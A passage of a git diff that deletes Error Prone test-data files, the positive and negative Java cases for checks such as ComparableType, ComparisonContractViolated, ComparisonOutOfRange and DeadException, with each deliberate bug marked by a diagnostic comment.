may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import java.util.ArrayList; -import java.util.Collection; -import java.util.HashSet; -import java.util.Set; - -/** - * @author mariasam@google.com (Maria Sam) on 6/27/17. - */ -public class CollectionToArraySafeParameterPositiveCases { - - private static void basicCase() { - Collection collection = new ArrayList(); - // BUG: Diagnostic contains: array parameter - Integer[] intArray = collection.toArray(new Integer[collection.size()]); - - Integer[] arrayOfInts = new Integer[10]; - // BUG: Diagnostic contains: array parameter - Integer[] wrongArray = collection.toArray(arrayOfInts); - - Set integerSet = new HashSet(); - // BUG: Diagnostic contains: array parameter - Long[] longArray = integerSet.toArray(new Long[10]); - - Set longSet = new HashSet(); - // BUG: Diagnostic contains: array parameter - Integer[] integerArray = longSet.toArray(new Integer[10]); - } - - void test(Foo foo) { - // BUG: Diagnostic contains: array parameter - String[] things = foo.toArray(new String[] {}); - } - - void test(FooBar foo) { - // BUG: Diagnostic contains: array parameter - Integer[] things = foo.toArray(new Integer[] {}); - } - - class FooBar extends HashSet {} - - class Foo extends HashSet {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CollectorShouldNotUseStateNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CollectorShouldNotUseStateNegativeCases.java deleted file mode 100644 index 571dfdad475..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CollectorShouldNotUseStateNegativeCases.java +++ /dev/null @@ -1,45 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.collect.ImmutableList; -import com.google.common.collect.ImmutableList.Builder; -import java.util.function.BiConsumer; -import java.util.stream.Collector; - -/** - * @author sulku@google.com (Marsela Sulku) - */ -public class CollectorShouldNotUseStateNegativeCases { - public void test() { - Collector.of( - ImmutableList::builder, - new BiConsumer, Object>() { - private static final String bob = "bob"; - - @Override - public void accept(Builder objectBuilder, Object o) { - if (bob.equals("bob")) { - System.out.println("bob"); - } else { - objectBuilder.add(o); - } - } - }, - (left, right) -> left.addAll(right.build()), - ImmutableList.Builder::build); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CollectorShouldNotUseStatePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CollectorShouldNotUseStatePositiveCases.java deleted file mode 100644 index 494a13bb946..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CollectorShouldNotUseStatePositiveCases.java +++ /dev/null @@ -1,69 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.collect.ImmutableList; -import com.google.common.collect.ImmutableList.Builder; -import java.util.function.BiConsumer; -import java.util.stream.Collector; - -/** - * @author sulku@google.com (Marsela Sulku) - */ -public class CollectorShouldNotUseStatePositiveCases { - public void test() { - // BUG: Diagnostic contains: Collector.of() should not use state - Collector.of( - ImmutableList::builder, - new BiConsumer, Object>() { - - boolean isFirst = true; - private static final String bob = "bob"; - - @Override - public void accept(Builder objectBuilder, Object o) { - if (isFirst) { - System.out.println("it's first"); - } else { - objectBuilder.add(o); - } - } - }, - (left, right) -> left.addAll(right.build()), - ImmutableList.Builder::build); - - // BUG: Diagnostic contains: Collector.of() should not use state - Collector.of( - ImmutableList::builder, - new BiConsumer, Object>() { - - boolean isFirst = true; - private final String bob = "bob"; - private final String joe = "joe"; - - @Override - public void accept(Builder objectBuilder, Object o) { - if (isFirst) { - System.out.println("it's first"); - } else { - objectBuilder.add(o); - } - } - }, - (left, right) -> left.addAll(right.build()), - ImmutableList.Builder::build); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparableAndComparatorNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparableAndComparatorNegativeCases.java deleted file mode 100644 index 963d7b4fda6..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparableAndComparatorNegativeCases.java +++ /dev/null @@ -1,92 +0,0 @@ -/* Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.Comparator; - -/** Created by mariasam on 6/5/17. */ -public class ComparableAndComparatorNegativeCases { - - /** Class that implements comparable, but also defines a comparator */ - public static class ComparableAndComparatorNested - implements Comparable { - - /** Comparator */ - private static final Comparator myComparator = - new Comparator() { - - @Override - public int compare(ComparableAndComparatorNested o1, ComparableAndComparatorNested o2) { - return 0; - } - }; - - @Override - public int compareTo(ComparableAndComparatorNested o) { - return 0; - } - } - - /** class that only implements comparable */ - public static class OnlyComparable implements Comparable { - - @Override - public int compareTo(OnlyComparable o) { - return 0; - } - } - - /** class that only implements comparator */ - public static class OnlyComparator implements Comparator { - @Override - public int compare(OnlyComparator o1, OnlyComparator o2) { - return 0; - } - } - - /** This test case is here to increase readability */ - // BUG: Diagnostic contains: Class should not implement both - public static class BadClass implements Comparable, Comparator { - @Override - public int compareTo(BadClass comparableNode) { - return 0; - } - - @Override - public int compare(BadClass a, BadClass b) { - return 0; - } - } - - /** Subclass should not cause error */ - public static class BadClassSubclass extends BadClass { - public int sampleMethod() { - return 0; - } - } - - /** Enums implementing comparator are ok */ - enum TestEnum implements Comparator { - MONDAY, - TUESDAY, - WEDNESDAY; - - @Override - public int compare(Integer one, Integer two) { - return 0; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparableAndComparatorPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparableAndComparatorPositiveCases.java deleted file mode 100644 index 57b7bb85a44..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparableAndComparatorPositiveCases.java +++ /dev/null @@ -1,56 +0,0 @@ -/* Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.Comparator; - -/** - * @author sulku@google.com (Marsela Sulku) - * @author mariasam@google.com (Maria Sam) - */ -public class ComparableAndComparatorPositiveCases { - - /** implements both interfaces */ - // BUG: Diagnostic contains: Class should not implement both - public static class BadClass implements Comparable, Comparator { - @Override - public int compareTo(BadClass comparableNode) { - return 0; - } - - @Override - public int compare(BadClass a, BadClass b) { - return 0; - } - } - - /** Superclass test class */ - public static class SuperClass implements Comparator { - @Override - public int compare(SuperClass o1, SuperClass o2) { - return 0; - } - } - - /** SubClass test class */ - // BUG: Diagnostic contains: Class should not implement both - public static class SubClass extends SuperClass implements Comparable { - @Override - public int compareTo(SubClass o) { - return 0; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparableTypeNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparableTypeNegativeCases.java deleted file mode 100644 index 54c7632688d..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparableTypeNegativeCases.java +++ /dev/null @@ -1,112 +0,0 @@ -/* Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.io.Serializable; -import java.util.Comparator; - -public class ComparableTypeNegativeCases { - - /** Class that implements comparable, with castable type */ - public static class ComparableTypeNegative implements Comparable { - - @Override - public int compareTo(ComparableTypeNegative o) { - return 0; - } - } - - /** abstract class that implements comparable */ - public abstract static class OnlyComparable implements Comparable {} - - /** class that implements comparable and something else like Serializable */ - public static class SerializableComparable - implements Serializable, Comparable { - - @Override - public int compareTo(SerializableComparable o) { - return 0; - } - } - - /** class that implements comparable and something else with a type */ - public static class SomeClass implements Comparable, Comparator { - @Override - public int compareTo(SomeClass comparableNode) { - return 0; - } - - @Override - public int compare(SomeClass a, SomeClass b) { - return 0; - } - } - - // Example interfaces - interface Door {} - - public static class HalfOpen implements Door {} - - // BUG: Diagnostic contains: [ComparableType] - static final class Open extends HalfOpen implements Comparable { - @Override - public int compareTo(Door o) { - return 0; - } - } - - public static class A {} - - // BUG: Diagnostic contains: [ComparableType] - public static class B extends A implements Comparable { - - @Override - public int compareTo(A o) { - return 0; - } - } - - // ignore enums - enum Location { - TEST_TARGET - } - - public abstract static class AClass implements Comparable {} - - public static class BClass extends AClass { - @Override - public int compareTo(AClass o) { - return 0; - } - } - - abstract class Foo implements Comparable> {} - - class T extends Foo { - public int compareTo(Foo o) { - return 0; - } - } - - // BUG: Diagnostic contains: [ComparableType] - static final class XGram implements Comparable { - - @Override - public int compareTo(Object o) { - return 0; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparableTypePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparableTypePositiveCases.java deleted file mode 100644 index 4dc3d31f2a0..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparableTypePositiveCases.java +++ /dev/null @@ -1,133 +0,0 @@ -/* Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.io.Serializable; -import java.util.Comparator; - -public class ComparableTypePositiveCases { - - // BUG: Diagnostic contains: [ComparableType] - public static class CompareClass implements Comparable { - - @Override - public int compareTo(Integer o) { - return 0; - } - } - - // BUG: Diagnostic contains: [ComparableType] - public static class SerializableComparable implements Serializable, Comparable { - - @Override - public int compareTo(Long o) { - return 0; - } - } - - // BUG: Diagnostic contains: [ComparableType] - public static class ComparableSerializable implements Comparable, Serializable { - - @Override - public int compareTo(Long o) { - return 0; - } - } - - // BUG: Diagnostic contains: [ComparableType] - public static class BadClass implements Comparable, Comparator { - - @Override - public int compareTo(Double o) { - return 0; - } - - @Override - public int compare(Double o1, Double o2) { - return 0; - } - } - - // BUG: Diagnostic contains: [ComparableType] - public static class AnotherBadClass implements Comparator, Comparable { - - @Override - public int compareTo(Double o) { - return 0; - } - - @Override - public int compare(Double o1, Double o2) { - return 0; - } - } - - public static class A {} - - public static class B extends A {} - - // BUG: Diagnostic contains: [ComparableType] - public static class C extends A implements Comparable { - - @Override - public int compareTo(B o) { - return 0; - } - } - - interface Foo {} - - // BUG: Diagnostic contains: [ComparableType] - static final class Open implements Comparable { - @Override - public int compareTo(Foo o) { - return 0; - } - } - - // BUG: Diagnostic contains: [ComparableType] - public abstract static class AClass implements Comparable {} - - public static class BClass extends AClass { - @Override - public int compareTo(Integer o) { - return 0; - } - } - - // found via flume - public static class SpendXGetYValues { - public Comparable yToXRatio() { - // BUG: Diagnostic contains: [ComparableType] - return new Comparable() { - @Override - public int compareTo(SpendXGetYValues other) { - return 0; - } - }; - } - } - - // BUG: Diagnostic contains: [ComparableType] - public abstract static class One implements Comparable {} - - public static class Two extends One { - @Override - public int compareTo(Integer o) { - return 0; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparisonContractViolatedNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparisonContractViolatedNegativeCases.java deleted file mode 100644 index 3e562418286..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparisonContractViolatedNegativeCases.java +++ /dev/null @@ -1,43 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -public class ComparisonContractViolatedNegativeCases { - abstract static class IntOrInfinity implements Comparable {} - - static class IntOrInfinityInt extends IntOrInfinity { - private final int value; - - IntOrInfinityInt(int value) { - this.value = value; - } - - @Override - public int compareTo(IntOrInfinity o) { - return (o instanceof IntOrInfinityInt) - ? Integer.compare(value, ((IntOrInfinityInt) o).value) - : 1; - } - } - - static class NegativeInfinity extends IntOrInfinity { - @Override - public int compareTo(IntOrInfinity o) { - return (o instanceof NegativeInfinity) ? 0 : -1; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparisonContractViolatedPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparisonContractViolatedPositiveCases.java deleted file mode 100644 index 4fb60df2fdc..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparisonContractViolatedPositiveCases.java +++ /dev/null @@ -1,125 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.Comparator; - -public class ComparisonContractViolatedPositiveCases { - - static final int POSITIVE_CONSTANT = 50; - - static class Struct { - int intField; - long longField; - - @Override - public boolean equals(Object o) { - return o instanceof Struct - && intField == ((Struct) o).intField - && longField == ((Struct) o).longField; - } - - @Override - public int hashCode() { - return intField + (int) longField; - } - } - - static final Comparator intComparisonNoZero1 = - new Comparator() { - @Override - public int compare(Struct left, Struct right) { - // BUG: Diagnostic contains: Integer.compare(left.intField, right.intField) - return (left.intField < right.intField) ? -1 : 1; - } - }; - - static final Comparator intComparisonNoZero2 = - new Comparator() { - @Override - public int compare(Struct left, Struct right) { - // BUG: Diagnostic contains: Integer.compare(left.intField, right.intField) - return (right.intField < left.intField) ? 1 : -1; - } - }; - - static final Comparator intComparisonNoZero3 = - new Comparator() { - @Override - public int compare(Struct left, Struct right) { - // BUG: Diagnostic contains: Integer.compare(left.intField, right.intField) - return (left.intField > right.intField) ? 1 : -1; - } - }; - - static final Comparator intComparisonNoZero4 = - new Comparator() { - @Override - public int compare(Struct left, Struct right) { - // BUG: Diagnostic contains: Integer.compare(left.intField, right.intField) - return (left.intField <= right.intField) ? -1 : 1; - } - }; - - static final Comparator longComparisonNoZero1 = - new Comparator() { - @Override - public int compare(Struct left, Struct right) { - // BUG: Diagnostic contains: Long.compare(left.longField, right.longField) - return (left.longField < right.longField) ? -1 : 1; - } - }; - - static final Comparator longComparisonNoZero2 = - new Comparator() { - @Override - public int compare(Struct left, Struct right) { - // BUG: Diagnostic contains: Long.compare(left.longField, right.longField) - return (left.longField < right.longField) ? -1 : POSITIVE_CONSTANT; - } - }; - - static final Comparator zeroOrOneComparator = - new Comparator() { - - @Override - // BUG: Diagnostic contains: violates the contract - public int compare(Struct o1, Struct o2) { - return o1.equals(o2) ? 0 : 1; - } - }; - - static final Comparator zeroOrNegativeOneComparator = - new Comparator() { - - @Override - // BUG: Diagnostic contains: violates the contract - public int compare(Struct o1, Struct o2) { - return o1.equals(o2) ? 0 : -1; - } - }; - - static final Comparator zeroOrPositiveConstantComparator = - new Comparator() { - - @Override - // BUG: Diagnostic contains: violates the contract - public int compare(Struct o1, Struct o2) { - return o1.equals(o2) ? 0 : POSITIVE_CONSTANT; - } - }; -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparisonOutOfRangeNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparisonOutOfRangeNegativeCases.java deleted file mode 100644 index 5ef57e39fda..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparisonOutOfRangeNegativeCases.java +++ /dev/null @@ -1,118 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.io.IOException; -import java.io.Reader; - -/** - * @author Bill Pugh (bill.pugh@gmail.com) - */ -class ComparisonOutOfRangeNegativeCases { - - void byteEquality() { - boolean result; - byte b = 0; - byte[] barr = {1, 2, 3}; - - result = b == 1; - result = b == -2; - result = b == 127; - result = b != 1; - - result = b == (byte) 255; - - result = b == 'a'; // char - result = b == 1L; // long - result = b == 1.123f; // float - result = b == 1.123; // double - - result = barr[0] == 1; - result = barr[0] == -2; - result = barr[0] == -128; - } - - void charEquality() throws IOException { - boolean result; - char c = 'A'; - Reader reader = null; - - result = c == 0; - result = c == 0xffff; - - result = c == 1L; // long - result = c == 1.123f; // float - result = c == 1.123; // double - - int d; - result = (d = reader.read()) == -1; - } - - void shorts(short s) { - boolean result; - - result = s == Short.MAX_VALUE; - result = s == Short.MIN_VALUE; - - result = s != Short.MAX_VALUE; - result = s != Short.MIN_VALUE; - - result = s > Short.MAX_VALUE - 1; - result = s > Short.MIN_VALUE; - - result = s >= Short.MAX_VALUE; - result = s >= Short.MIN_VALUE + 1; - - result = s < Short.MIN_VALUE + 1; - result = s < Short.MAX_VALUE; - - result = s <= Short.MIN_VALUE; - result = s <= Short.MAX_VALUE - 1; - } - - void shortsReversed(short s) { - boolean result; - - result = Short.MAX_VALUE - 1 < s; - result = Short.MIN_VALUE < s; - - result = Short.MAX_VALUE <= s; - result = Short.MIN_VALUE + 1 <= s; - - result = Short.MIN_VALUE + 1 > s; - result = Short.MAX_VALUE > s; - - result = Short.MIN_VALUE >= s; - result = Short.MAX_VALUE - 1 >= s; - } - - void ints(int i) { - boolean result; - - result = i == (long) Integer.MAX_VALUE; - } - - void longs(long l) { - boolean result; - - result = l == (double) Long.MIN_VALUE; - } - - String binaryTreeMixingByteWithNonNumeric(byte b) { - return "value is: " + b; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparisonOutOfRangePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparisonOutOfRangePositiveCases.java deleted file mode 100644 index 4e838e06c66..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ComparisonOutOfRangePositiveCases.java +++ /dev/null @@ -1,147 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.io.IOException; -import java.io.Reader; -import java.util.function.Supplier; - -/** - * @author Bill Pugh (bill.pugh@gmail.com) - */ -class ComparisonOutOfRangePositiveCases { - private static final int NOT_A_BYTE = 255; - - void byteEquality() { - boolean result; - byte b = 0; - byte[] barr = {1, 2, 3}; - - // BUG: Diagnostic contains: b == -1 - result = b == 255; - // BUG: Diagnostic contains: b == 1 - result = b == -255; - // BUG: Diagnostic contains: b == -128 - result = b == 128; - // BUG: Diagnostic contains: b != -1 - result = b != 255; - - // BUG: Diagnostic contains: barr[0] == -1 - result = barr[0] == 255; - // BUG: Diagnostic contains: - result = barr[0] == 128; - // BUG: Diagnostic contains: bytes - result = barr[0] == -255; - - // BUG: Diagnostic contains: b == -1 - result = b == NOT_A_BYTE; - - Byte boxed = 0; - // BUG: Diagnostic contains: - result = boxed == 255; - Supplier bSupplier = null; - // BUG: Diagnostic contains: - result = bSupplier.get() == 255; - } - - void charEquality() throws IOException { - boolean result; - char c = 'A'; - Reader reader = null; - - // BUG: Diagnostic contains: false - result = c == -1; - // BUG: Diagnostic contains: true - result = c != -1; - - char d; - // BUG: Diagnostic contains: chars - result = (d = (char) reader.read()) == -1; - } - - void shorts(short s) { - boolean result; - - // BUG: Diagnostic contains: false - result = s == Short.MAX_VALUE + 1; - // BUG: Diagnostic contains: false - result = s == Short.MIN_VALUE - 1; - - // BUG: Diagnostic contains: true - result = s != Short.MAX_VALUE + 1; - // BUG: Diagnostic contains: true - result = s != Short.MIN_VALUE - 1; - - // BUG: Diagnostic contains: false - result = s > Short.MAX_VALUE; - // BUG: Diagnostic contains: true - result = s > Short.MIN_VALUE - 1; - - // BUG: Diagnostic contains: false - result = s >= Short.MAX_VALUE + 1; - // BUG: Diagnostic contains: true - result = s >= Short.MIN_VALUE; - - // BUG: Diagnostic contains: false - result = s < Short.MIN_VALUE; - // BUG: Diagnostic contains: true - result = s < Short.MAX_VALUE + 1; - - // BUG: Diagnostic contains: false - result = s <= Short.MIN_VALUE - 1; - // BUG: Diagnostic contains: true - result = s <= Short.MAX_VALUE; - } - - void shortsReversed(short s) { - boolean result; - - // BUG: Diagnostic contains: false - result = Short.MAX_VALUE < s; - // BUG: Diagnostic contains: true - result = Short.MIN_VALUE - 1 < s; - - // BUG: Diagnostic contains: false - result = Short.MAX_VALUE + 1 <= s; - // BUG: Diagnostic contains: true - result = Short.MIN_VALUE <= s; - - // BUG: Diagnostic contains: false - result = Short.MIN_VALUE > s; - // BUG: Diagnostic contains: true - result = Short.MAX_VALUE + 1 > s; - - // BUG: Diagnostic contains: false - result = Short.MIN_VALUE - 1 >= s; - // BUG: Diagnostic contains: true - result = Short.MAX_VALUE >= s; - } - - void ints(int i) { - boolean result; - - // BUG: Diagnostic contains: false - result = i == Integer.MAX_VALUE + 1L; - } - - void longs(long l) { - boolean result; - - // BUG: Diagnostic contains: false - result = l == Long.MIN_VALUE * 2.0; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DeadExceptionNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DeadExceptionNegativeCases.java deleted file mode 100644 index 0ee205a27d2..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DeadExceptionNegativeCases.java +++ /dev/null @@ -1,29 +0,0 @@ -/* - * Copyright 2011 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -public class DeadExceptionNegativeCases { - public void noError() { - Exception e = new RuntimeException("stored"); - e = new UnsupportedOperationException("also stored"); - throw new IllegalArgumentException("thrown"); - } - - public Exception returnsException() { - return new RuntimeException("returned"); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DeadExceptionPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DeadExceptionPositiveCases.java deleted file mode 100644 index 984d822cd10..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DeadExceptionPositiveCases.java +++ /dev/null @@ -1,79 +0,0 @@ -/* - * Copyright 2011 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -public class DeadExceptionPositiveCases { - public void runtimeException() { - // BUG: Diagnostic contains: throw new RuntimeException - new RuntimeException("Not thrown, and reference lost"); - } - - public void error() { - // BUG: Diagnostic contains: throw new AssertionError - new AssertionError("Not thrown, and reference lost"); - } - - public void fixIsToDeleteTheFirstStatement() { - // BUG: Diagnostic contains: remove this line - new IllegalArgumentException("why is this here?"); - int i = 1; - System.out.println("i = " + i); - - if (true) { - // BUG: Diagnostic contains: remove this line - new RuntimeException("oops"); - System.out.println("another statement after exception"); - } - - switch (0) { - default: - // BUG: Diagnostic contains: remove this line - new RuntimeException("oops"); - System.out.println("another statement after exception"); - } - } - - public void firstStatementWithNoSurroundingBlock() { - if (true) - // BUG: Diagnostic contains: throw new InterruptedException - new InterruptedException("this should be thrown"); - - if (true) return; - else - // BUG: Diagnostic contains: throw new ArithmeticException - new ArithmeticException("should also be thrown"); - - switch (4) { - case 4: - System.out.println("4"); - break; - default: - // BUG: Diagnostic contains: throw new IllegalArgumentException - new IllegalArgumentException("should be thrown"); - } - } - - public void testLooksLikeAJunitTestMethod() { - // BUG: Diagnostic contains: throw new RuntimeException - new RuntimeException("Not thrown, and reference lost"); - } - - { - // BUG: Diagnostic contains: throw new Exception - new Exception(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DeadExceptionTestingNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DeadExceptionTestingNegativeCases.java deleted file mode 100644 index a6e6dcf0bd5..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DeadExceptionTestingNegativeCases.java +++ /dev/null @@ -1,45 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import junit.framework.TestCase; -import org.junit.Test; - -/** - * @author alexeagle@google.com (Alex Eagle) - */ -public class DeadExceptionTestingNegativeCases extends TestCase { - - public void testShouldAllowTestingOfExceptionConstructorSideEffects() { - try { - new IllegalArgumentException((Throwable) null); - fail(); - } catch (NullPointerException e) { - // expected - } - } - - @Test - public void shouldAllowTestingOfExceptionConstructorSideEffects() { - try { - new IllegalArgumentException((Throwable) null); - fail(); - } catch (NullPointerException e) { - // expected - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DepAnnNegativeCase1.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DepAnnNegativeCase1.java deleted file mode 100644 index 3cbdd1b0662..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DepAnnNegativeCase1.java +++ /dev/null @@ -1,69 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific 